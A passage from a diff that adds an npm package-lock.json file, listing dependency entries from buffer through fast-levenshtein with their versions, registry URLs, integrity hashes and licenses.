"https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-crc32": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-1.0.0.tgz", + "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==", + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", + "license": "MIT" + }, + "node_modules/cacache": { + "version": "15.3.0", + "resolved": "https://registry.npmjs.org/cacache/-/cacache-15.3.0.tgz", + "integrity": "sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==", + "license": "ISC", + "optional": true, + "dependencies": { + "@npmcli/fs": "^1.0.0", + "@npmcli/move-file": "^1.0.1", + "chownr": "^2.0.0", + "fs-minipass": "^2.0.0", + "glob": "^7.1.4", + "infer-owner": "^1.0.4", + "lru-cache": "^6.0.0", + "minipass": "^3.1.1", + "minipass-collect": "^1.0.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.2", + "mkdirp": "^1.0.3", + "p-map": "^4.0.0", + "promise-inflight": "^1.0.1", + "rimraf": "^3.0.2", + "ssri": "^8.0.1", + "tar": "^6.0.2", + "unique-filename": "^1.1.1" + }, + "engines": { + "node": ">= 10" + } + }, + "node_modules/cacache/node_modules/brace-expansion": { + "version": "1.1.12", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", + "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/cacache/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/cacache/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/cacache/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/cacache/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "optional": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cacache/node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "license": "MIT", + "optional": true, + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/chance": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/chance/-/chance-1.1.13.tgz", + "integrity": "sha512-V6lQCljcLznE7tUYUM9EOAnnKXbctE6j/rdQkYOHIWbfGQbrzTsAXNW9CdU5XCo4ArXQCj/rb6HgxPlmGJcaUg==", + "license": "MIT" + }, + "node_modules/char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/charenc": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/charenc/-/charenc-0.0.2.tgz", + "integrity": "sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==", + "license": "BSD-3-Clause", + "engines": { + "node": "*" + } + }, + "node_modules/chownr": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/class-validator": { + "version": "0.14.3", + "resolved": "https://registry.npmjs.org/class-validator/-/class-validator-0.14.3.tgz", + "integrity": "sha512-rXXekcjofVN1LTOSw+u4u9WXVEUvNBVjORW154q/IdmYWy1nMbOU9aNtZB0t8m+FJQ9q91jlr2f9CwwUFdFMRA==", + "license": "MIT", + "dependencies": { + "@types/validator": "^13.15.3", + "libphonenumber-js": "^1.11.1", + "validator": "^13.15.20" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/color-support": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", + "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", + "license": "ISC", + "optional": true, + "bin": { + "color-support": "bin.js" + } + }, + "node_modules/colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "license": "MIT", + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/compress-commons": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/compress-commons/-/compress-commons-6.0.2.tgz", + "integrity": "sha512-6FqVXeETqWPoGcfzrXb37E50NP0LXT8kAMu5ooZayhWWdgEY4lBEEcbQNXtkuKQsGduxiIcI4gOTsxTmuq/bSg==", + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "crc32-stream": "^6.0.0", + "is-stream": "^2.0.1", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "license": "MIT", + "optional": true + }, + "node_modules/console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==", + "license": "ISC", + "optional": true + }, + "node_modules/core-util-is": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz", + "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==", + "license": "MIT" + }, + "node_modules/crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "license": "Apache-2.0", + "bin": { + "crc32": "bin/crc32.njs" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/crc32-stream": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/crc32-stream/-/crc32-stream-6.0.0.tgz", + "integrity": "sha512-piICUB6ei4IlTv1+653yq5+KoqfBYmj9bw6LqXoOneTMDXk5nM1qt12mFW1caG3LlJXEKW1Bp0WggEmIfQB34g==", + "license": "MIT", + "dependencies": { + "crc-32": "^1.2.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==", + "license": "BSD-3-Clause", + "engines": { + "node": "*" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "license": "MIT", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "license": "MIT" + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==", + "license": "MIT", + "optional": true + }, + "node_modules/detect-libc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz", + "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==", + "license": "Apache-2.0", + "engines": { + "node": ">=8" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/encoding": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.13.tgz", + "integrity": "sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==", + "license": "MIT", + "optional": true, + "dependencies": { + "iconv-lite": "^0.6.2" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "license": "MIT", + "optional": true + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "license": "BSD-2-Clause", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/eslint-scope": { + "version": "8.4.0", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz", + "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==", + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz", + "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==", + "license": "Apache-2.0", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "license": "BSD-2-Clause", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "license": "BSD-2-Clause", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", + "license": "MIT", + "engines": { + "node": ">=0.8.x" + } + }, + "node_modules/events-universal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/events-universal/-/events-universal-1.0.1.tgz", + "integrity": "sha512-LUd5euvbMLpwOF8m6ivPCbhQeSiYVNb8Vs0fQ8QjXo0JTkEHpz8pxdQf0gStltaPpw0Cca8b39KxvK9cfKRiAw==", + "license": "Apache-2.0", + "dependencies": { + "bare-events": "^2.7.0" + } + }, + "node_modules/expand-template": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", + "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "license": "(MIT OR WTFPL)", + "engines": { + "node": ">=6" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "license": "MIT" + }, + "node_modules/fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==", + "license": "MIT" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": 